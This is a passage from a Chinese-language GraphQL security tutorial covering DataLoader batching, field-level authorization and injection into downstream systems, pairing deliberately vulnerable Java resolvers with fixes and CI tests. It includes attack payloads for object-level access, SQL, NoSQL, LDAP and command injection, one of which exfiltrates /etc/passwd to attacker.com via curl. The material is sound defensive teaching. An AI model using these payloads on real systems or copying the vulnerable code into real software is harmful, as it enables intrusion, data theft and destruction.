DataLoader<String, User> loader = DataLoaderFactory.newDataLoader(ids ->
CompletableFuture.supplyAsync(() ->
userRepository.findAllById(ids))); // ← ids 可能有 10 万个
/**
* 后果:
* SELECT * FROM users WHERE id IN (1,2,3,...,100000);
* → SQL 语句 1MB,MySQL 的 max_allowed_packet 可能直接报错
* → 即便不报错,一次性返回 10 万行,内存 + 网络全炸
*/
✅ 修复:给批量加载分片(Batching Partition)
/**
* ✅ 批量加载分片:每批最多 100 个 id
*/
public DataLoader<Long, Product> createProductLoader(ProductRepository repo) {
return DataLoaderFactory.newDataLoader(
(Set<Long> ids) -> CompletableFuture.supplyAsync(() -> {
// ★ 分片:每 100 个一批
List<Long> idList = new ArrayList<>(ids);
Map<Long, Product> result = new HashMap<>();
for (int i = 0; i < idList.size(); i += MAX_BATCH_SIZE) {
List<Long> chunk = idList.subList(i,
Math.min(i + MAX_BATCH_SIZE, idList.size()));
repo.findAllById(chunk).forEach(p -> result.put(p.getId(), p));
}
return result;
}),
DataLoaderOptions.newOptions()
// ★ DataLoader 自带的批量上限(超过就自动分批发)
.setMaxBatchSize(100)
.build());
}
陷阱 3:DataLoader 的 key 被用作越权通道
/**
* ⚠️ 注意:DataLoader 只管"批量取数",【不管权限】
*
* 场景:
* Query.orders(first:100) → 100 个订单 → 每个订单 load("userById", userId)
* → 批量查 100 个用户 → 返回给客户端
*
* 如果订单里混着别人的 userId(比如通过某种方式构造),
* DataLoader 会把那些用户也查出来返回 → 越权
*/
✅ 修复:DataLoader 也要做归属校验
/**
* ✅ 在批量加载函数里做租户/归属校验
*/
@Bean
public DataLoader<Long, User> secureUserLoader(UserRepository repo) {
return DataLoaderFactory.newDataLoader(
(Set<Long> ids, BatchLoaderEnvironment env) ->
CompletableFuture.supplyAsync(() -> {
// ★ 从 context 取当前租户
String tenantId = env.getContext() instanceof Map<?, ?> m
? (String) m.get("tenantId") : null;
if (tenantId == null) {
log.error("[安全] DataLoader 缺少 tenantId,拒绝批量加载");
return Collections.<Long, User>emptyMap();
}
// ★ SQL 里带上租户条件(★ 关键:在 SQL 层就过滤掉)
List<User> users = repo.findByIdInAndTenantId(ids, tenantId);
Map<Long, User> map = users.stream()
.collect(Collectors.toMap(User::getId, u -> u));
// ★ 补齐缺失的 key(DataLoader 要求返回的 key 数量和请求一致)
Map<Long, User> result = new HashMap<>();
for (Long id : ids) {
result.put(id, map.get(id)); // 查不到就是 null,不会泄露
}
// ★ 记录越权尝试
long missing = result.values().stream().filter(Objects::isNull).count();
if (missing > 0) {
log.warn("[安全] DataLoader 过滤掉 {} 个跨租户 id", missing);
}
return result;
}));
}
3.5.5 DataLoader 安全 Checklist
| # | 检查项 | 为什么 | 优先级 |
|---|---|---|---|
| 1 | 每个请求独立的 DataLoaderRegistry | 跨请求缓存 = 数据泄露 + 脏读 | ★★★ |
| 2 | setMaxBatchSize 限制批量大小 |
防 WHERE id IN (10万) |
★★★ |
| 3 | 批量加载函数里带租户/归属条件 | 防越权 | ★★★ |
| 4 | 缓存 key 带上分页参数 | 防不同分页串数据 | ★★ |
| 5 | 监控批量大小(P99) | 发现异常批量 = 有人在构造深查询 | ★★ |
| 6 | 敏感数据考虑 loader.clear(key) 或禁用缓存 |
防同一请求内读到旧值 | ★ |
| 7 | dispatch() 时机(graphql-java 自动,Node 手动) |
忘记 dispatch = 一直不执行 | ★★ |
3.6 字段级授权 —— GraphQL 最容易被忽略的致命缺口
3.6.1 一句话定义 + 为什么 REST 的经验在 GraphQL 里失效
字段级授权(Field-Level Authorization): 授权判断的粒度不是“能不能调这个接口”,而是“能不能看这个字段“。
★ 核心矛盾(面试必考题):
REST 的安全配置长这样:
.antMatchers("/api/user/**").hasRole("USER")
.antMatchers("/api/admin/**").hasRole("ADMIN")
↑ 单位是【路径】
GraphQL 只有一个路径:/graphql
.antMatchers("/graphql").hasRole("USER") ← 只能配这一条
↑ 这一条拦住了"游客",但【完全拦不住"普通用户查 admin 字段"】
生活类比(★ 记住这个):
REST 的授权 = 小区门禁:刷一次卡进小区,进去之后所有楼你都能到。
GraphQL 的授权 = 小区门禁还是刷卡进小区, 但进去之后每栋楼、每个楼层、每个房间门口都要再刷一次卡 —— 因为 GraphQL 里,客户端能自己去任何房间。
如果你只做了“小区门禁”(
/graphql的认证), 那任何进来的居民都能进任何房间 —— 包括物业办公室和配电房。
3.6.2 漏洞代码:只在入口做了认证,字段完全裸奔
/**
* ❌❌❌ 典型漏洞:只在 Controller 做了认证,Resolver 里毫无授权
*/
@Configuration
public class InsecureSecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
return http
.authorizeHttpRequests(auth -> auth
// ❌ 只配了这一条:登录用户就能访问 /graphql
// 但 /graphql 里面能查什么,完全没管
.requestMatchers("/graphql").authenticated()
.anyRequest().permitAll())
.build();
}
}
/**
* ❌ Resolver:直接返回实体,没有任何字段级判断
*/
@Component
public class InsecureUserResolver implements GraphQLQueryResolver {
@Autowired
private UserRepository userRepository;
/**
* ❌ 任何登录用户都能查任何用户的完整信息
* 包括 passwordHash、身份证、内部风控分
*/
public User user(String id) {
return userRepository.findById(id).orElse(null);
// ★ 返回的是【完整实体】,GraphQL 会按客户端要什么字段就序列化什么
// 客户端要 passwordHash,就给 passwordHash
}
/**
* ❌ 任何登录用户都能查所有用户
*/
public List<User> allUsers(int first) {
return userRepository.findAll(PageRequest.of(0, first)).getContent();
}
}
/**
* ❌ 嵌套字段同样裸奔
*/
@Component
public class InsecureUserFieldResolver implements GraphQLResolver<User> {
/**
* ❌ User.internalRiskScore:内部风控分,任何登录用户都能看
*/
public Integer getInternalRiskScore(User user) {
return riskService.calculate(user.getId());
}
/**
* ❌ User.orders:可以查【任何人的订单】
* 攻击者:{ user(id:"1") { orders { id amount address } } }
* → 把用户 1 的所有订单和家庭住址全部拖走(BOLA!)
*/
public List<Order> getOrders(User user) {
return orderRepository.findByUserId(user.getId());
}
}
攻击 Payload:
# 普通登录用户(角色 USER)执行:
query {
# ① 拖走别人的订单(BOLA / IDOR)
user(id: "1") {
name
phone
orders { id amount address }
}
# ② 看内部风控分
me { internalRiskScore }
# ③ 看别人的密码哈希
allUsers(first: 1000) {
id
username
passwordHash # ★ 拿走去离线撞库
}
}
# ④ 甚至改别人的角色(如果 Mutation 也没授权)
mutation {
updateUserRole(id: "1", role: "ADMIN") { success }
}
3.6.3 ★ 四种字段级授权方案(从简单到优雅)
✅ 方案 1:在 Resolver 里手写判断(最直白,但容易漏)
@Component
@Slf4j
public class ManualAuthResolver implements GraphQLResolver<User> {
@Autowired
private PermissionService permissionService;
/**
* ✅ 手写授权:每个敏感字段都判断一次
*/
public Integer getInternalRiskScore(User user, DataFetchingEnvironment env) {
User currentUser = getCurrentUser(env);
// ★ 只有管理员,或者本人,才能看风控分
if (!permissionService.isAdmin(currentUser)
&& !currentUser.getId().equals(user.getId())) {
log.warn("[安全] 越权访问 internalRiskScore,user={} target={}",
currentUser.getId(), user.getId());
return null; // ★ 或者抛异常,见下面的讨论
}
return riskService.calculate(user.getId());
}
/**
* ✅ 订单列表:只能看自己的(管理员除外)
*/
public List<Order> getOrders(User user, DataFetchingEnvironment env) {
User currentUser = getCurrentUser(env);
if (!permissionService.isAdmin(currentUser)
&& !currentUser.getId().equals(user.getId())) {
throw new AccessDeniedException("无权查看他人订单");
}
return orderRepository.findByUserId(user.getId());
}
/**
* ✅ 手机号脱敏:不是本人/管理员就打码
*/
public String getPhone(User user, DataFetchingEnvironment env) {
User currentUser = getCurrentUser(env);
if (permissionService.canSeeFullPhone(currentUser, user)) {
return user.getPhone();
}
return DesensitizeUtil.mobile(user.getPhone()); // 138****8000
}
private User getCurrentUser(DataFetchingEnvironment env) {
return env.getGraphQlContext().get("currentUser");
}
}
⚠️ 方案 1 的致命缺点: 容易漏。Schema 有 200 个字段,你手写了 150 个,漏了 50 个 —— 攻击者专挑漏的。 而且新增字段时,新人根本不知道“这里要加授权判断”。 所以必须配**方案 3(架构测试)**来兜底。
✅ 方案 2:用 Directive 声明式授权(★ 推荐,最优雅)
思路:在 Schema 里给字段打个标记,授权逻辑由框架统一处理。
# ===== 定义自定义指令 =====
directive @auth(requires: String!) on FIELD_DEFINITION
directive @hasRole(role: String!) on FIELD_DEFINITION
directive @isOwner on FIELD_DEFINITION
directive @adminOnly on FIELD_DEFINITION
directive @sensitive(level: SensitivityLevel!) on FIELD_DEFINITION
enum SensitivityLevel { PUBLIC INTERNAL SECRET PII }
# ===== 在 Schema 里声明 =====
type User {
id: ID!
name: String!
email: String! @isOwner # 只有本人能看
phone: String! @sensitive(level: PII) # PII,自动脱敏
passwordHash: String @adminOnly # ★ 只有管理员(其实应该直接不暴露)
internalRiskScore: Int @hasRole(role: "RISK_ADMIN") # 只有风控管理员
orders: [Order!]! @isOwner # 只能看自己的订单
internalNotes: String @adminOnly
}
type Query {
allUsers(first: Int!): [User!]! @hasRole(role: "ADMIN") # 只有管理员能列用户
me: User
}
Java 实现(SchemaDirectiveWiring):
/**
* ✅✅✅ 用 Directive 实现字段级授权(★ 推荐方案)
*
* 优点:
* ① 授权声明【写在 Schema 里】,一眼能看出哪些字段受保护
* ② 新增字段时,【必须显式声明】指令,或者被默认策略拦住
* ③ 授权逻辑集中在一处,改一处全生效
*/
@Component
@Slf4j
public class AuthDirective implements SchemaDirectiveWiring {
@Autowired
private PermissionService permissionService;
@Override
public GraphQLFieldDefinition onField(SchemaDirectiveWiringEnvironment<GraphQLFieldDefinition> env) {
GraphQLFieldDefinition field = env.getElement();
GraphQLFieldsContainer parentType = env.getFieldsContainer();
String typeName = parentType.getName();
String fieldName = field.getName();
DataFetcher<?> originalFetcher = field.getDataFetcher();
// ===== ① @adminOnly:只有管理员 =====
if (hasDirective(env, "adminOnly")) {
return wrapField(env, field, originalFetcher, (ctx) -> {
User user = requireLogin(ctx);
if (!permissionService.isAdmin(user)) {
deny(typeName, fieldName, user, "需要管理员权限");
}
});
}
// ===== ② @hasRole(role:"XXX"):需要指定角色 =====
GraphQLAppliedDirective roleDir = env.getAppliedDirective("hasRole");
if (roleDir != null) {
String requiredRole = roleDir.getArgument("role").getValue().toString();
return wrapField(env, field, originalFetcher, (ctx) -> {
User user = requireLogin(ctx);
if (!permissionService.hasRole(user, requiredRole)) {
deny(typeName, fieldName, user, "需要角色 " + requiredRole);
}
});
}
// ===== ③ @isOwner:只能访问自己的数据(BOLA 防护)=====
if (hasDirective(env, "isOwner")) {
return wrapField(env, field, originalFetcher, (ctx) -> {
User current = requireLogin(ctx);
Object source = ctx.getSource(); // ★ 父对象(比如 User)
String ownerId = extractOwnerId(source);
if (!current.getId().equals(ownerId) && !permissionService.isAdmin(current)) {
deny(typeName, fieldName, current,
"只能访问自己的数据(当前用户=" + current.getId() + ")");
}
});
}
// ===== ④ @sensitive(level: PII):自动脱敏 =====
GraphQLAppliedDirective sensDir = env.getAppliedDirective("sensitive");
if (sensDir != null) {
String level = sensDir.getArgument("level").getValue().toString();
return wrapFieldWithTransform(env, field, originalFetcher, (value, ctx) -> {
User current = requireLogin(ctx);
if (permissionService.canSeeSensitive(current, level)) {
return value; // 有权限,返回原值
}
// ★ 无权限:自动脱敏(而不是报错 —— 体验更好,也不泄露"字段存在")
return desensitize(value, level);
});
}
return field;
}
/** 包装 DataFetcher:执行前做授权检查 */
private GraphQLFieldDefinition wrapField(
SchemaDirectiveWiringEnvironment<GraphQLFieldDefinition> env,
GraphQLFieldDefinition field,
DataFetcher<?> original,
Consumer<DataFetchingEnvironment> authCheck) {
DataFetcher<?> secured = (DataFetchingEnvironment dfe) -> {
authCheck.accept(dfe); // ★ 先鉴权
return original.get(dfe); // 再执行
};
return env.setFieldDataFetcher(secured);
}
/** 包装 DataFetcher:执行后做结果转换(脱敏) */
private GraphQLFieldDefinition wrapFieldWithTransform(
SchemaDirectiveWiringEnvironment<GraphQLFieldDefinition> env,
GraphQLFieldDefinition field,
DataFetcher<?> original,
BiFunction<Object, DataFetchingEnvironment, Object> transformer) {
DataFetcher<?> secured = (DataFetchingEnvironment dfe) -> {
Object value = original.get(dfe);
return transformer.apply(value, dfe);
};
return env.setFieldDataFetcher(secured);
}
private User requireLogin(DataFetchingEnvironment env) {
User user = env.getGraphQlContext().get("currentUser");
if (user == null) {
throw new GraphQLAuthException("未登录");
}
return user;
}
private void deny(String type, String field, User user, String reason) {
log.warn("[安全] 字段级授权拒绝 type={}.{} userId={} reason={}",
type, field, user.getId(), reason);
// ★ 抛异常 vs 返回 null 的选择,见 3.6.4 讨论
throw new GraphQLForbiddenException(reason);
}
private boolean hasDirective(
SchemaDirectiveWiringEnvironment<GraphQLFieldDefinition> env, String name) {
return env.getAppliedDirective(name) != null;
}
/** 从父对象里提取"归属人 ID"(约定:有 getUserId() 或 getId()) */
private String extractOwnerId(Object source) {
if (source == null) return null;
try {
Method m = source.getClass().getMethod("getUserId");
return String.valueOf(m.invoke(source));
} catch (Exception e1) {
try {
Method m = source.getClass().getMethod("getId");
return String.valueOf(m.invoke(source));
} catch (Exception e2) {
log.error("[安全] 无法提取归属人 ID,source={}", source.getClass());
return null; // ★ 提取不到就拒绝(默认拒绝)
}
}
}
/** 按敏感级别脱敏 */
private Object desensitize(Object value, String level) {
if (value == null) return null;
String s = String.valueOf(value);
return switch (level) {
case "PII" -> DesensitizeUtil.auto(s);
case "SECRET" -> "***";
case "INTERNAL" -> null;
default -> s;
};
}
}
注册 Directive:
@Configuration
public class GraphQLSchemaConfig {
@Bean
public GraphQLSchema graphQLSchema(
ResourceSchemaStringProvider schemaProvider,
RuntimeWiringConfigurer wiringConfigurer,
AuthDirective authDirective) {
TypeDefinitionRegistry registry = schemaProvider.getSchema();
RuntimeWiring wiring = buildRuntimeWiring(wiringConfigurer);
return new SchemaGenerator()
.makeExecutableSchema(
SchemaGenerator.Options.defaultOptions()
// ★ 注册自定义指令
.enforceSchemaDirectives(false),
registry,
wiring.transform(b -> b
.directiveWiring(new AuthDirectiveWiring(authDirective))));
}
}
/**
* 指令装配器
*/
class AuthDirectiveWiring implements WiringFactory {
private final AuthDirective authDirective;
@Override
public boolean providesSchemaDirectiveWiring(SchemaDirectiveWiringEnvironment<?> env) {
return Set.of("adminOnly", "hasRole", "isOwner", "sensitive")
.contains(env.getDirectiveDefinition().getName());
}
@Override
public SchemaDirectiveWiring getSchemaDirectiveWiring(
SchemaDirectiveWiringEnvironment<?> env) {
return authDirective;
}
}
✅ 方案 3:ArchUnit 架构测试强制每个字段都有保护(★ 防漏写的杀手锏)
核心思想: 手写 Directive 还是会漏。用自动化测试强制“新字段必须声明授权”, 漏了就 CI 挂掉,不让合并。
/**
* ✅✅✅ 用 ArchUnit 强制:GraphQL Schema 里每个字段都必须有授权声明
*
* ★ 这是从"靠人自觉"变成"靠流程保证"的关键一步
*/
@AnalyzeClasses(packages = "com.example.graphql")
class GraphQLSchemaSecurityTest {
private static GraphQLSchema schema;
@BeforeAll
static void loadSchema() throws Exception {
String sdl = Files.readString(Path.of("src/main/resources/schema.graphqls"));
schema = new SchemaParser().parse(sdl)
.transform(b -> b.build())
.transform(SchemaGenerator::makeExecutableSchema);
}
/**
* ★ 测试 1:所有字段必须至少有一个授权指令(或被显式标记为公开)
*/
@Test
@DisplayName("GraphQL 所有字段必须声明授权指令,或显式标记 @public")
void allFieldsMustHaveAuthDirective() {
List<String> violations = new ArrayList<>();
for (GraphQLNamedType type : schema.getAllTypesAsList()) {
if (type.getName().startsWith("__")) continue; // 跳过内建类型
if (!(type instanceof GraphQLObjectType objType)) continue;
for (GraphQLFieldDefinition field : objType.getFields()) {
String fullName = objType.getName() + "." + field.getName();
// 跳过标量字段里的明显安全的(id、name 这类)
if (isInherentlySafe(field.getName())) {
continue;
}
boolean hasAuthDirective = field.getAppliedDirectives().stream()
.map(d -> d.getName())
.anyMatch(n -> Set.of(
"adminOnly", "hasRole", "isOwner",
"sensitive", "auth", "public").contains(n));
if (!hasAuthDirective) {
violations.add(fullName);
}
}
}
assertThat(violations)
.as("以下 GraphQL 字段没有声明任何授权指令,存在越权风险。\n" +
"请加上 @adminOnly / @hasRole / @isOwner / @sensitive,\n" +
"或显式加 @public 表示这是公开字段(需经过评审):")
.isEmpty();
}
/**
* ★ 测试 2:敏感字段必须不在"公开"标记里
*/
@Test
@DisplayName("敏感字段(password/secret/token/internal)不允许标记为 @public")
void sensitiveFieldsCannotBePublic() {
List<String> violations = new ArrayList<>();
for (GraphQLNamedType type : schema.getAllTypesAsList()) {
if (!(type instanceof GraphQLObjectType objType)) continue;
for (GraphQLFieldDefinition field : objType.getFields()) {
String name = field.getName().toLowerCase();
boolean isSensitiveName =
name.contains("password") || name.contains("secret")
|| name.contains("token") || name.contains("internal")
|| name.contains("private")|| name.contains("credential");
boolean isPublic = field.getAppliedDirectives().stream()
.anyMatch(d -> "public".equals(d.getName()));
if (isSensitiveName && isPublic) {
violations.add(objType.getName() + "." + field.getName());
}
}
}
assertThat(violations)
.as("这些敏感字段被标记成了 @public,必须改掉:")
.isEmpty();
}
/**
* ★ 测试 3:所有 Mutation 必须有授权声明(写操作风险更高)
*/
@Test
@DisplayName("所有 Mutation 必须有授权声明")
void allMutationsMustBeProtected() {
GraphQLObjectType mutationType = schema.getMutationType();
assumeTrue(mutationType != null, "Schema 没有 Mutation");
List<String> unprotected = mutationType.getFields().stream()
.filter(f -> f.getAppliedDirectives().stream()
.map(GraphQLAppliedDirective::getName)
.noneMatch(n -> Set.of("adminOnly", "hasRole", "isOwner", "auth")
.contains(n)))
.map(GraphQLFieldDefinition::getName)
.toList();
assertThat(unprotected)
.as("以下 Mutation 没有授权声明,任何人都能调用:")
.isEmpty();
}
/**
* ★ 测试 4:Schema 中不允许出现这些高危字段
*/
@Test
@DisplayName("Schema 中不允许出现 passwordHash / rawSql 等高危字段")
void noHighRiskFields() {
Set<String> FORBIDDEN = Set.of(
"passwordHash", "password", "salt", "rawSql",
"secretKey", "privateKey", "apiKey", "accessKey",
"debugInfo", "stackTrace", "internalError");
List<String> violations = new ArrayList<>();
for (GraphQLNamedType type : schema.getAllTypesAsList()) {
if (!(type instanceof GraphQLObjectType objType)) continue;
for (GraphQLFieldDefinition field : objType.getFields()) {
if (FORBIDDEN.contains(field.getName())) {
violations.add(objType.getName() + "." + field.getName());
}
}
}
assertThat(violations)
.as("Schema 中不应该暴露这些字段,请从 Schema 里删除(而不是靠授权挡):")
.isEmpty();
}
/** id、name 这类字段天然安全,不强制要求指令(减少误报) */
private boolean isInherentlySafe(String fieldName) {
return Set.of("id", "name", "title", "createdAt", "updatedAt", "status")
.contains(fieldName);
}
}
CI 配置(不允许失败):
# .gitlab-ci.yml
graphql-security-test:
stage: test
script:
- mvn test -Dtest=GraphQLSchemaSecurityTest
allow_failure: false # ★ 关键:挂了就不让合并
artifacts:
when: always
reports:
junit: target/surefire-reports/*.xml
✅ 方案 4:返回值过滤(Response Masking) —— 最后一道兜底
思路:不管 Resolver 返回了什么,在序列化成 JSON 之前做一次统一的权限过滤。 这类似第二章讲的 BOPLA 防护(防止“返回整个实体”)。
/**
* ✅ 返回值过滤:在序列化前统一裁剪(★ 兜底方案)
*
* 和 Directive 的区别:
* Directive = "查之前判断"(前置)
* 返回值过滤 = "返回之前裁剪"(后置)
* ★ 后置的好处:不怕 Resolver 里忘写判断,也不怕新增字段漏配
*/
@Component
@Slf4j
public class ResponseMaskingInstrumentation extends SimpleInstrumentation {
@Autowired
private FieldPolicyService fieldPolicyService;
@Override
public ExecutionResult instrumentExecutionResult(
ExecutionResult result, InstrumentationExecutionParameters parameters) {
if (result.getData() == null) {
return result;
}
User currentUser = getCurrentUser(parameters);
// ★ 递归遍历返回的数据,按策略裁剪
Object masked = maskValue(result.getData(), currentUser);
return ExecutionResultImpl.newExecutionResult()
.from(result)
.data(masked)
.build();
}
private Object maskValue(Object value, User user) {
if (value instanceof Map<?, ?> map) {
Map<String, Object> masked = new LinkedHashMap<>();
for (Map.Entry<?, ?> e : map.entrySet()) {
String key = String.valueOf(e.getKey());
// ★ 该字段当前用户可见吗?
if (fieldPolicyService.isVisible(key, user)) {
masked.put(key, maskValue(e.getValue(), user));
} else {
// 不可见:换成 null(或打码)
masked.put(key, null);
}
}
return masked;
}
if (value instanceof List<?> list) {
return list.stream()
.map(v -> maskValue(v, user))
.toList();
}
return value;
}
private User getCurrentUser(InstrumentationExecutionParameters parameters) {
return parameters.getGraphQLContext().get("currentUser");
}
}
/**
* 字段可见性策略
*/
@Service
public class FieldPolicyService {
/**
* 字段 → 可见该字段所需的最小角色
* ★ 默认拒绝:不在白名单里的敏感字段,非管理员一律不可见
*/
private static final Map<String, String> FIELD_MIN_ROLE = Map.of(
"internalRiskScore", "RISK_ADMIN",
"internalNotes", "ADMIN",
"cost", "FINANCE",
"profit", "FINANCE",
"margin", "FINANCE",
"passwordHash", "SUPER_ADMIN",
"secretKey", "SUPER_ADMIN"
);
/** 需要脱敏的 PII 字段 */
private static final Set<String> PII_FIELDS =
Set.of("phone", "mobile", "idCard", "bankCard", "address", "email");
public boolean isVisible(String fieldName, User user) {
String requiredRole = FIELD_MIN_ROLE.get(fieldName);
if (requiredRole == null) {
return true; // 不在策略表里的字段,默认可见
}
if (user == null) {
return false;
}
return user.getRoles().contains(requiredRole)
|| user.getRoles().contains("SUPER_ADMIN");
}
}
3.6.4 ★ 关键设计决策:越权时该“返回 null”还是“抛异常”?
这是面试的高频追问,两种做法各有适用场景:
| 做法 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| 抛异常(Forbidden) | 开发者能立刻发现问题 客户端能明确知道“没权限” |
泄露“该字段存在”(信息泄露) GraphQL 的部分响应特性会让整个 data 变成 null |
Mutation(写操作) 明确的权限边界 |
| 返回 null | 不泄露字段是否存在 不影响其他字段返回 |
客户端分不清“没权限”和“本来就是空” | 读操作 + 敏感字段 |
脱敏返回(138****8000) |
体验最好,既不泄露也不打断 | 需要为每种类型写脱敏规则 | PII 字段 |
★ 推荐策略(三档):
① 字段根本不该存在于对外 Schema(passwordHash、secretKey) → 【构建期从 Schema 里删掉】,最干净 ② 存在但敏感(internalRiskScore、cost、internalNotes) → 【返回 null】+ 记审计日志 (不抛异常,避免泄露"该字段存在") ③ PII(手机号、身份证、地址) → 【脱敏返回】+ 记审计日志 (体验优先,业务上"看不到完整手机号"是合理需求) ④ 整个对象的归属越权(查别人的订单) → 【抛异常】或【返回 404】 (★ 注意:返回 404 而不是 403,避免泄露"该 ID 存在")
3.6.5 字段级授权 Checklist
| # | 检查项 | 优先级 |
|---|---|---|
| 1 | 所有字段显式声明授权指令(或 @public) |
★★★ |
| 2 | ArchUnit 测试强制“新字段必须有声明”,CI 挂掉不让合并 | ★★★ |
| 3 | Mutation 授权要求比 Query 更严格 | ★★★ |
| 4 | 嵌套字段(关联对象)也要授权,不是只做入口 | ★★★ |
| 5 | 敏感字段从 Schema 里删除,而不是靠授权挡 | ★★★ |
| 6 | PII 字段自动脱敏 | ★★★ |
| 7 | 越权访问记审计日志 + 告警 | ★★ |
| 8 | 越权时返回 404/null 而不是 403(防存在性泄露) | ★★ |
| 9 | 定期用普通用户账号跑一遍全 Schema 字段扫描 | ★★ |
3.7 GraphQL 注入 —— 参数进了下游才是真危险
3.7.1 一句话定义
GraphQL 注入 不是“注入 GraphQL 本身”(GraphQL 有强类型校验,注入不了), 而是:GraphQL 只是一个入口,参数被原样传给了下游(SQL / NoSQL / LDAP / OS 命令 / 模板引擎), 下游没做防护,于是注入发生了。
★ 核心认知(面试必答):
“GraphQL 的强类型和参数校验,只能保证’传进来的参数符合 Schema 声明的类型’, 比如
String类型的参数不会传进来一个数组或者对象。 但它完全不管参数的内容是什么。一个
String类型的参数,内容完全可以是1' OR '1'='1。 如果 Resolver 拿它去拼 SQL,SQL 注入照常发生。★ 所以 GraphQL 注入的本质是:开发者误以为’GraphQL 有类型校验就很安全’, 于是放松了下游的防护。这是典型的’虚假安全感’。“
3.7.2 漏洞代码(五种下游注入)
/**
* ❌❌❌ GraphQL 注入:Resolver 里拼 SQL / 拼命令 / 拼查询
*/
@Component
public class InjectionVulnerableResolver implements GraphQLQueryResolver {
@Autowired
private JdbcTemplate jdbc;
/**
* ❌ 漏洞 1:SQL 注入(字符串拼接)
*
* 攻击 Payload:
* { searchUsers(keyword: "x' OR '1'='1") { id name email } }
* → SELECT * FROM users WHERE name LIKE '%x' OR '1'='1%'
* → 全表数据泄露
*/
public List<User> searchUsers(String keyword) {
String sql = "SELECT * FROM users WHERE name LIKE '%" + keyword + "%'";
return jdbc.query(sql, userRowMapper);
}
/**
* ❌ 漏洞 2:SQL 注入(ORDER BY 无法预编译的位置)
*
* 攻击 Payload:
* { listUsers(orderBy: "id; DROP TABLE users--") { id } }
* { listUsers(orderBy: "(CASE WHEN (SELECT COUNT(*) FROM users)>0 THEN id ELSE name END)") }
* ★ 第二个是【盲注】:通过观察排序结果推断数据
*/
public List<User> listUsers(String orderBy) {
String sql = "SELECT * FROM users ORDER BY " + orderBy;
return jdbc.query(sql, userRowMapper);
}
/**
* ❌ 漏洞 3:NoSQL 注入(MongoDB)
*
* 攻击 Payload(GraphQL 变量):
* { "username": {"$ne": null}, "password": {"$ne": null} }
* → 查询条件变成 username != null AND password != null
* → 直接登录成功(绕过认证!)
*/
public User findByUsernameAndPassword(String username, String password) {
Query query = new Query();
query.addCriteria(Criteria.where("username").is(username)
.and("password").is(password));
return mongoTemplate.findOne(query, User.class);
// ⚠️ 如果 username 是对象而不是字符串,$ne 这种操作符会被 MongoDB 当指令执行
}
/**
* ❌ 漏洞 4:命令注入
*
* 攻击 Payload:
* { ping(host: "8.8.8.8; cat /etc/passwd") { output } }
* { ping(host: "$(curl attacker.com/$(cat /etc/passwd))") { output } }
*/
public String ping(String host) {
Process p = Runtime.getRuntime().exec("ping -c 1 " + host);
return readOutput(p);
}
/**
* ❌ 漏洞 5:LDAP 注入
*
* 攻击 Payload:
* { ldapSearch(username: "*)(objectClass=*") { dn } }
* → 过滤器变成 (uid=*)(objectClass=*) → 返回所有条目
*/
public List<String> ldapSearch(String username) {
String filter = "(uid=" + username + ")";
return ldapTemplate.search("", filter, (AttributesMapper<String>) attrs ->
attrs.get("dn").toString());
}
}
3.7.3 ✅ 修复方案
✅ 修复 1:SQL —— 预编译 + 白名单排序
@Component
@Slf4j
public class SecureSqlResolver implements GraphQLQueryResolver {
@Autowired
private JdbcTemplate jdbc;
/** ✅ ORDER BY 白名单(★ 无法预编译的位置只能白名单)*/
private static final Set<String> ALLOWED_SORT_FIELDS =
Set.of("id", "name", "createdAt", "email");
private static final Set<String> ALLOWED_SORT_DIRS = Set.of("ASC", "DESC");
/** ✅ LIKE 转义 */
public List<User> searchUsers(String keyword) {
String sql = "SELECT * FROM users WHERE name LIKE ? ESCAPE '\\'";
String escaped = escapeLike(keyword);
return jdbc.query(sql, userRowMapper, "%" + escaped + "%");
}
/**
* ✅ 白名单排序(★ 唯一可靠的方案,正则过滤不可靠)
*/
public List<User> listUsers(String orderBy, String direction) {
// ★ 严格白名单校验,不匹配就用默认值
String field = ALLOWED_SORT_FIELDS.contains(orderBy) ? orderBy : "id";
String dir = ALLOWED_SORT_DIRS.contains(
direction == null ? "" : direction.toUpperCase())
? direction.toUpperCase() : "ASC";
// ★ 白名单之后仍是拼接,但值只能来自上面那个常量集合,绝对安全
String sql = "SELECT * FROM users ORDER BY " + field + " " + dir;
return jdbc.query(sql, userRowMapper);
}
/** 转义 LIKE 通配符 % _ \ */
private String escapeLike(String s) {
if (s == null) return "";
return s.replace("\\", "\\\\")
.replace("%", "\\%")
.replace("_", "\\_");
}
}
✅ 修复 2:NoSQL —— 强制类型 + 禁止操作符
@Component
@Slf4j
public class SecureMongoResolver implements GraphQLQueryResolver {
@Autowired
private MongoTemplate mongoTemplate;
/**
* ✅ 修复:① 强制转 String ② 拒绝含 $ 的输入
*/
public User findByUsernameAndPassword(String username, String password) {
// ★ 关键:GraphQL 的强类型在这里帮了忙(Schema 声明为 String)
// 但如果有人用变量传了对象,某些实现会原样透传 → 必须再校验一次
validateNoMongoOperator(username, "username");
validateNoMongoOperator(password, "password");
Query query = new Query();
query.addCriteria(Criteria.where("username").is(username)
.and("passwordHash").is(hash(password)));
return mongoTemplate.findOne(query, User.class);
}
/**
* ★ 拒绝 MongoDB 操作符($ne / $gt / $where / $regex ...)
*/
private void validateNoMongoOperator(Object value, String fieldName) {
if (value == null) return;
// ① 类型检查:必须是 String / Number / Boolean,不能是 Map / List
if (!(value instanceof String || value instanceof Number
|| value instanceof Boolean)) {
log.warn("[安全] MongoDB 注入尝试:字段 {} 收到了非标量类型 {}",
fieldName, value.getClass());
throw new IllegalArgumentException("非法参数类型");
}
// ② 内容检查:字符串不能以 $ 开头,不能包含 {
String s = String.valueOf(value);
if (s.startsWith("$") || s.contains("{") || s.contains("}")) {
log.warn("[安全] MongoDB 注入尝试:字段 {} 包含操作符 {}", fieldName, s);
throw new IllegalArgumentException("非法参数内容");
}
}
/**
* ★ 全局防御:MongoDB 禁用 $where(它支持执行 JS,最危险)
*/
@PostConstruct
public void disableServerSideJs() {
// mongod 启动参数:--noscripting
// 或者在 MongoDB 配置里:security.javascriptEnabled: false
log.info("[安全] 请确保 mongod 以 --noscripting 启动,禁用 $where");
}
}
✅ 修复 3:命令 —— 用数组参数,绝不拼字符串
@Component
@Slf4j
public class SecureCommandResolver implements GraphQLQueryResolver {
/** ✅ 主机名格式白名单(★ 先校验格式)*/
private static final Pattern HOSTNAME_PATTERN =
Pattern.compile("^[a-zA-Z0-9]([a-zA-Z0-9\\-.]*[a-zA-Z0-9])?$");
/**
* ✅ 修复:① 格式白名单 ② 用 String[] 传参(不经过 shell)
*/
public PingResult ping(String host) {
